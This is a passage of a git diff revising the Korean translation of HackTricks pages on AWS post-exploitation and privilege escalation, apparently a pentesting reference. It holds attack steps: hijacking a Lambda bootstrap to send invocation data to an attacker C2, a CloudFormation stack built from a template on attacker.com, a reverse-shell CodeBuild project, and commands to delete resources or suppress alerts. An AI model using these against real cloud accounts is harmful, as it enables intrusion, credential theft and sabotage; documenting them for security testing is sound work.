**`bootstrap.py`** 프로세스의 스택에서 [**inspect**](https://docs.python.org/3/library/inspect.html) 파이썬 모듈을 사용하여 얻거나, **`/2018-06-01/runtime/invocation/next`**에 다시 요청하여 얻을 수 있습니다 (여기서 [제안됨](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- invoke-id는 [**inspect**](https://docs.python.org/3/library/inspect.html) 파이썬 모듈을 사용하여 정상 **`bootstrap.py`** 프로세스의 스택에서 얻거나, **`/2018-06-01/runtime/invocation/next`**에 다시 요청하여 얻을 수 있습니다. - 다음 호출을 처리할 악성 **`boostrap.py`**를 실행합니다. -- 은폐를 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 후 요청을 평소처럼 처리할 수 있습니다. +- 은폐를 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 다음 요청을 일반적으로 처리할 수 있습니다. - 이 공격을 위해, 시스템에서 **`bootstrap.py`**의 원본 코드를 가져오거나 [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py)에서 가져와 악성 코드를 추가하고 현재 lambda 호출에서 실행하면 충분합니다. ### 공격 단계 @@ -35,7 +35,7 @@ bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 2. **악성** **bootstrap** 생성 (예: [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) 3. **악성 bootstrap 실행**. -이러한 작업을 쉽게 수행할 수 있습니다: +이 작업을 수행하려면 쉽게 실행할 수 있습니다: ```bash python3 < [!WARNING] -> 이전 값도 저장되므로, 이전 값으로 쉽게 돌아갈 수 있습니다. +> 이전 값도 저장되므로 이전 값으로 쉽게 돌아갈 수 있습니다. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 6200dc2a7..185f52c88 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - SES Post Exploitation +# AWS - SES 포스트 익스플로이테이션 {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### `ses:SendEmail` -이메일을 보냅니다. +이메일을 전송합니다. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json @@ -51,19 +51,17 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일을 받은 후 24시간 이내에만** 수행할 수 있습니다. +받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일 수신 후 24시간 이내에만** 수행할 수 있습니다. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` -아직 테스트해야 함. +아직 테스트해야 합니다. ### `ses:SendCustomVerificationEmail` -이것은 사용자 정의 확인 이메일을 보냅니다. 템플릿 이메일을 생성하기 위한 권한도 필요할 수 있습니다. +이것은 맞춤형 확인 이메일을 보냅니다. 템플릿 이메일을 생성할 권한도 필요할 수 있습니다. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -아직 테스트할 것. - -{{#include ../../../banners/hacktricks-training.md}} +아직 테스트해야 함. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index eb5d66262..5ace11f51 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -4,7 +4,7 @@ ## SNS -자세한 정보: +자세한 정보는 다음을 참조하십시오: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,11 +12,11 @@ ### 메시지 방해 -여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 전송하는 데 사용됩니다. 공격자가 클라우드에서 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다. +여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 보내는 데 사용됩니다. 공격자가 클라우드 내 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다. ### `sns:DeleteTopic` -공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다. +공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 해당 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다. ```bash aws sns delete-topic --topic-arn ``` @@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn ### `sns:Publish` -공격자는 SNS 주제에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업의 트리거 또는 리소스 소모를 초래할 수 있습니다. +공격자는 SNS 주제에 악의적이거나 원치 않는 메시지를 보낼 수 있으며, 이로 인해 데이터 손상, 의도하지 않은 작업 트리거 또는 리소스 소모가 발생할 수 있습니다. ```bash aws sns publish --topic-arn --message ``` @@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr ### `sns:Subscribe` , `sns:Unsubscribe` -공격자는 SNS 주제에 구독하거나 구독 해지할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 해당 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다. +공격자는 SNS 주제에 구독하거나 구독을 취소할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn @@ -63,6 +63,6 @@ aws sns remove-permission --topic-arn --label aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` -**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. +**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 7419be4c5..eff8396c6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -10,14 +10,14 @@ ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### `sqs:SendMessage`, `sqs:SendMessageBatch` +### `sqs:SendMessage` , `sqs:SendMessageBatch` -공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 리소스를 소모할 수 있습니다. +공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 자원을 소모할 수 있습니다. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 자원 고갈. +**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -27,7 +27,7 @@ aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상, 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. +**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. ### `sqs:DeleteQueue` @@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url ### `sqs:SetQueueAttributes` -공격자는 SQS 큐의 속성을 수정할 수 있으며, 이는 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다. +공격자는 SQS 큐의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 줄 수 있습니다. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` @@ -64,10 +64,10 @@ aws sqs untag-queue --queue-url --tag-keys ### `sqs:RemovePermission` -공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스의 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다. +공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스에 대한 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` -**Potential Impact**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다. +**잠재적 영향**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 5d6e2ed8c..a73c8cb70 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -12,19 +12,19 @@ ### `states:RevealSecrets` -이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 검사 수준을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다. +이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다. +이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 필요할 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다. > [!NOTE] > > - 상태 기계를 삭제하면 해당 기계의 모든 관련 버전과 별칭도 삭제됩니다. > - 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다. -> - 하나 이상의 별칭에 현재 참조되고 있는 상태 기계 버전을 삭제할 수 없습니다. +> - 하나 이상의 별칭에 의해 현재 참조되고 있는 상태 기계 버전을 삭제할 수 없습니다. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -33,26 +33,26 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Potential Impact**: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단. +- **잠재적 영향**: 중요한 워크플로의 중단, 데이터 손실 및 운영 중단. ### `states:UpdateMapRun` -이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율 및 수를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 중단시킬 수 있습니다. +이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 기계 실행에 직접적인 영향을 미치고 중요한 워크플로를 중단시킬 수 있습니다. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **Potential Impact**: 성능 저하 및 중요한 워크플로우의 중단. +- **잠재적 영향**: 성능 저하 및 중요한 워크플로의 중단. ### `states:StopExecution` -이 권한을 가진 공격자는 모든 상태 기계의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다. +이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다. > [!WARNING] > 이 작업은 **express state machines**에서 지원되지 않습니다. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Potential Impact**: 진행 중인 워크플로우의 중단, 운영 중단, 및 잠재적인 데이터 손상. +- **잠재적 영향**: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 데이터 손상. ### `states:TagResource`, `states:UntagResource` @@ -61,6 +61,6 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. +**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index b682fbfcc..6f8c760b8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -4,7 +4,7 @@ ## STS -자세한 정보: +자세한 정보는 다음을 참조하세요: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,7 +12,7 @@ ### IAM 자격 증명에서 콘솔로 -IAM 자격 증명을 얻었다면 다음 도구를 사용하여 **웹 콘솔에 접근하는 것**에 관심이 있을 수 있습니다.\ +IAM 자격 증명을 얻었다면 **웹 콘솔에 접근하는 것**에 관심이 있을 수 있습니다.\ 사용자/역할은 **`sts:GetFederationToken`** 권한을 가져야 합니다. #### 사용자 정의 스크립트 @@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` @@ -76,11 +75,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> **aws-vault**를 사용하여 **브라우저 콘솔 세션**을 얻을 수도 있습니다. ### **Python에서 User-Agent 제한 우회하기** -사용하는 **user agent에 따라 특정 작업을 수행하는 제한이 있는 경우** (예: user agent에 따라 python boto3 라이브러리 사용 제한) 이전 기술을 사용하여 **브라우저를 통해 웹 콘솔에 연결**하거나, 직접 **boto3 user-agent를 수정**할 수 있습니다: +사용된 **user agent에 따라 특정 작업을 수행하는 제한**이 있는 경우(예: user agent에 따라 python boto3 라이브러리 사용 제한) 이전 기술을 사용하여 **브라우저를 통해 웹 콘솔에 연결**하거나, 다음과 같이 **boto3 user-agent를 직접 수정**할 수 있습니다: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index b0b7e19fd..80584b24d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - VPN Post Exploitation +# AWS - VPN 포스트 익스플로이테이션 {{#include ../../../banners/hacktricks-training.md}} ## VPN -자세한 정보는 다음을 참조하십시오: +자세한 정보: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index c2d46be09..58ce2b88a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,21 +1,21 @@ -# AWS - Privilege Escalation +# AWS - 권한 상승 {{#include ../../../banners/hacktricks-training.md}} -## AWS Privilege Escalation +## AWS 권한 상승 AWS에서 권한을 상승시키는 방법은 다른 역할/사용자/그룹의 권한에 접근할 수 있을 만큼 충분한 권한을 갖는 것입니다. 관리 액세스 권한을 얻을 때까지 상승을 연결합니다. > [!WARNING] -> AWS에는 **수백** (아니면 수천)의 **권한**이 있습니다. 이 책에서는 **내가 아는 모든 권한**을 찾을 수 있으며, 이를 **악용하여 권한을 상승시킬 수** 있습니다. 하지만 여기 언급되지 않은 **경로를 알고 있다면**, **공유해 주세요**. +> AWS에는 **수백** (아니면 수천)의 **권한**이 있습니다. 이 책에서는 **내가 아는 모든 권한**을 찾을 수 있으며, 이를 **악용하여 권한을 상승**시킬 수 있습니다. 하지만 여기 언급되지 않은 **경로를 알고 있다면**, **공유해 주세요**. > [!CAUTION] -> IAM 정책에 `"Effect": "Allow"`와 `"NotAction": "Someaction"`이 포함되어 **리소스**를 나타내는 경우... 이는 **허용된 주체**가 **지정된 작업을 제외한 모든 작업을 수행할 수 있는 권한**을 가지고 있음을 의미합니다.\ +> IAM 정책에 `"Effect": "Allow"`와 `"NotAction": "Someaction"`이 포함되어 **리소스**를 나타내면... 이는 **허용된 주체**가 **지정된 작업을 제외한 모든 작업을 수행할 수 있는 권한**이 있음을 의미합니다.\ > 따라서 이는 주체에게 **특권 권한을 부여하는 또 다른 방법**임을 기억하세요. **이 섹션의 페이지는 AWS 서비스별로 정렬되어 있습니다. 여기에서 권한을 상승시킬 수 있는 권한을 찾을 수 있습니다.** -## Tools +## 도구 - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) - [Pacu](https://github.com/RhinoSecurityLabs/pacu) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index d5f4cad8e..d1678c0ca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -16,16 +16,16 @@ ```bash aws --region apigateway create-api-key ``` -**잠재적 영향:** 이 기술로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있습니다. +**잠재적 영향:** 이 기술로는 권한 상승을 할 수 없지만, 민감한 정보에 접근할 수 있습니다. ### `apigateway:GET` -이 권한으로 구성된 API의 생성된 API 키를 가져올 수 있습니다(지역별). +이 권한을 사용하면 구성된 API의 생성된 API 키를 가져올 수 있습니다(지역별). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**잠재적 영향:** 이 기술로는 권한 상승을 할 수 없지만 민감한 정보에 접근할 수 있습니다. +**잠재적 영향:** 이 기술로는 권한 상승이 불가능하지만 민감한 정보에 접근할 수 있습니다. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` @@ -35,12 +35,12 @@ aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**잠재적 영향:** 일반적으로 이 기술로 직접적으로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있습니다. +**잠재적 영향:** 일반적으로 이 기술로 직접적으로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있을지도 모릅니다. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> 테스트 필요 +> 테스트가 필요합니다. `apigateway:PutIntegration`, `apigateway:CreateDeployment`, 및 `iam:PassRole` 권한을 가진 공격자는 **IAM 역할이 연결된 Lambda 함수로 기존 API Gateway REST API에 새로운 통합을 추가할 수 있습니다**. 그런 다음 공격자는 **Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 관련된 리소스에 접근할 수 있습니다**. ```bash @@ -90,6 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**잠재적 영향**: 비공식 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단. +**잠재적 영향**: 비공식 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index a1131aa0d..982138dcb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ cloudformation에 대한 자세한 정보는 다음을 확인하세요: ### `iam:PassRole`, `cloudformation:CreateStack` -이 권한을 가진 공격자는 **지정된 역할의 권한으로 작업을 실행하기 위해** 자신의 서버에 호스팅된 **사용자 정의 템플릿**으로 **CloudFormation 스택**을 작성하여 **권한을 상승시킬 수 있습니다:** +이 권한을 가진 공격자는 **지정된 역할의 권한으로 작업을 실행하기 위해** 자신의 서버에 호스팅된 사용자 정의 템플릿으로 **CloudFormation 스택**을 작성하여 **권한을 상승시킬 수 있습니다:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -이 경우 기존 cloudformation 스택을 **악용하여** 업데이트하고 이전 시나리오처럼 권한을 상승시킬 수 있습니다: +이 경우 기존의 cloudformation 스택을 **악용하여** 업데이트하고 이전 시나리오처럼 권한을 상승시킬 수 있습니다: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -43,7 +43,7 @@ aws cloudformation update-stack \ ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -이 권한이 있지만 **`iam:PassRole`이 없는 경우**에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 이전 섹션에서 exploit 예제를 확인하세요 (업데이트에서 역할을 지정하지 마세요). +이 권한이 있지만 **`iam:PassRole`이 없는 경우**에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 이전 섹션에서 악용 예제를 확인하세요(업데이트 시 역할을 지정하지 마세요). `cloudformation:SetStackPolicy` 권한은 **스택에 대한 `UpdateStack` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다. @@ -51,9 +51,9 @@ aws cloudformation update-stack \ ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -역할을 **전달하고 ChangeSet을 생성 및 실행할 수 있는 권한**을 가진 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지로. +역할을 **전달하고 ChangeSet을 생성 및 실행**할 수 있는 권한이 있는 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지입니다. -다음 exploit는 **ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack 변형**](./#iam-passrole-cloudformation-createstack)입니다. +다음 악용은 **ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack 하나의**](./#iam-passrole-cloudformation-createstack) 변형입니다. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 권한은 **스택에 대한 `ChangeSet` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다. +`cloudformation:SetStackPolicy` 권한을 사용하여 **스택에 대한 `ChangeSet` 권한을 부여**하고 공격을 수행할 수 있습니다. **잠재적 영향:** cloudformation 서비스 역할에 대한 권한 상승. @@ -99,7 +99,7 @@ aws cloudformation describe-stacks \ ### `cloudformation:UpdateStackSet` -공격자는 passRole 권한 없이 이 권한을 악용하여 연결된 cloudformation 역할을 악용하기 위해 StackSets를 업데이트할 수 있습니다. +공격자는 passRole 권한 없이도 이 권한을 악용하여 연결된 cloudformation 역할을 악용하기 위해 StackSets를 업데이트할 수 있습니다. **잠재적 영향:** 연결된 cloudformation 역할로의 권한 상승. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index 1a8cd4093..d09aea503 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -62,7 +62,7 @@ aws cloudformation create-stack --stack-name privesc \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**몇 분 기다리세요** 스택이 생성된 후 **자격 증명이 저장된** 스택의 **출력을 가져옵니다**: +**스택이 생성될 때까지 몇 분 기다리세요** 그리고 **자격 증명이 저장된** 스택의 **출력을 가져오세요**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 80193d99d..5c29ae5e5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -자세한 정보는 다음에서 확인하세요: +자세한 정보는 다음을 참조하세요: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -58,12 +58,12 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**Note**: 이 두 명령의 차이는 다음과 같습니다: +**참고**: 이 두 명령어의 차이는 다음과 같습니다: - `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 트리거합니다. - `StartBuildBatch`는 더 복잡한 구성으로 빌드 배치를 시작할 수 있게 해줍니다 (예: 여러 빌드를 병렬로 실행). -**Potential Impact:** 연결된 AWS Codebuild 역할에 대한 직접적인 권한 상승. +**잠재적 영향:** 연결된 AWS Codebuild 역할에 대한 직접적인 권한 상승. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -142,7 +142,7 @@ aws codebuild start-build --project-name reverse-shell-project > [!WARNING] > **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함하고 있습니다. -> 이 파일에는 **환경 변수 